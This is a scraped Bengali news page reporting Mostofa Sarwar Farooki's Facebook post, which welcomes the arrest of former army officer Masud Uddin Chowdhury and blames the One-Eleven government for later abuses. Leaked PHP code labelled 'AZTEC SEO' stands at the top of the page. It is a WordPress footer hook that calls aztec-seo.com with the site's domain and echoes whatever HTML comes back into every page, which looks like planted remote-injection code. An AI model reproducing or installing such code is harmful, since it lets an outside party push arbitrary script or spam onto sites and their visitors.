/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); হাসিনার সব অপকর্মের লাইসেন্স এসেছে ওয়ান ইলেভেন থেকে: ফারুকী | Dhaka Sky News

বগুড়ায় পাওনা টাকার জেরে এক ব্যক্তিকে ছুরিকাঘাতে হত্যা

আগের সংবাদ

যে মামলায় জামিন পেলেন ইনু, মেনন ও বিচারপতি মানিক

পরের সংবাদ

হাসিনার সব অপকর্মের লাইসেন্স এসেছে ওয়ান ইলেভেন থেকে: ফারুকী

যুগান্তর প্রতিবেদন

প্রকাশিত: March 24, 2026 , 6:35 pm

হাসিনার সব অপকর্মের লাইসেন্স এসেছে ওয়ান ইলেভেন থেকে: ফারুকী

সাবেক উপদেষ্টা ও চলচ্চিত্র নির্মাতা মোস্তফা সরয়ার ফারুকী। ফাইল ছবি

ওয়ান-ইলেভেন সরকারের সময় আলোচনায় থাকা সাবেক সেনা কর্মকর্তা মাসুদ উদ্দিন চৌধুরীকে গ্রেফতার করেছে ঢাকা মহানগর পুলিশের গোয়েন্দা শাখা (ডিবি)। সাবেক এ সেনা কর্মকর্তার গ্রেফতারের ঘটনাকে তারেক রহমান নেতৃত্বাধীন বর্তমান সরকারের ‘ভালো সূচনা’ বলে মন্তব্য করেছেন সাবেক উপদেষ্টা ও চলচ্চিত্র নির্মাতা মোস্তফা সরয়ার ফারুকী।

মঙ্গলবার (২৪ মার্চ) সকালে নিজের ভেরিফায়েড ফেসবুক পেজে দেওয়া স্ট্যাটাসে তিনি এ কথা বলেন।

তার স্ট্যাটাসটি যুগান্তরের পাঠকদের জন্য হুবহু দেওয়া হলো-

ওয়ান ইলেভেনের প্রধান ক্রীড়নক মাসুদ চৌধুরীকে গ্রেফতার বর্তমান সরকারের একটা ভালো সূচনা। এবার তদন্ত শুরু করা হোক ওয়ান-ইলেভেনের আদ‍্যোপান্ত নিয়ে। এমনকি ২০০৮-এর নির্বাচন নিয়েও তদন্ত হওয়া উচিত।

ওয়ান-ইলেভেন হচ্ছে সকল সর্বনাশের গোড়া। এই যে শত শত মানুষ গুম, হাজার হাজার বিরোধী নেতাকর্মীদের উপর নির্যাতন, বিডিআর ম‍্যসাকার, শাপলা ম‍্যাসাকার, নির্বাচন ব্যবস্থা ভ‍্যানিশ করে দেওয়া, জুলাই হত‍্যাকাণ্ডসহ হাসিনার সব অপকর্মের লাইসেন্স এসেছে ঐ ওয়ান ইলেভেন থেকে।

মনে রাখতে হবে ট্রমা-আক্রান্ত জাতির সামনে আগানো এবং হিলিংয়ের জন‍্য দুইটা জিনিস দরকার- বিচার এবং স্মৃতি সংরক্ষণ। স্মৃতি সংরক্ষণ বলতে বোঝাচ্ছি ইতিহাস সংরক্ষণ। সেটা মিউজিয়াম, ডকুমেন্টেশন, রিপোর্ট নানাভাবেই হতে পারে।

তো বিচার এবং স্মৃতি সংরক্ষণের কাজ ঘটে যাওয়া মাত্র ঐ অধ‍্যায় নিয়ে পড়ে না থেকে সামনের দিকে আগানোর সুযোগ তৈরি হয়।

কিন্তু এই দুই কাজ অসমাপ্ত রেখে যদি ‘চলো সব ভুলে যাই’ বলে সামনে আগাই তাহলে দুইটা বিপদ-

এক. অপরাধীদের অথবা নতুন অপরাধীদের উৎসাহ দেওয়া হয়। তারা তখন পরবর্তী অপকর্ম থেকে জাস্ট একটা সুযোগ দুরে সর্বদা দণ্ডায়মান থাকে।

দুই. বিচার এবং স্মৃতি সংরক্ষণ ছাড়া সামনে আগালে ক্ষোভ থেকে যায় মানুষের যৌথ স্মৃতিতে। হিলিংয়ের জন্য এটা আদর্শ অবস্থা নয়।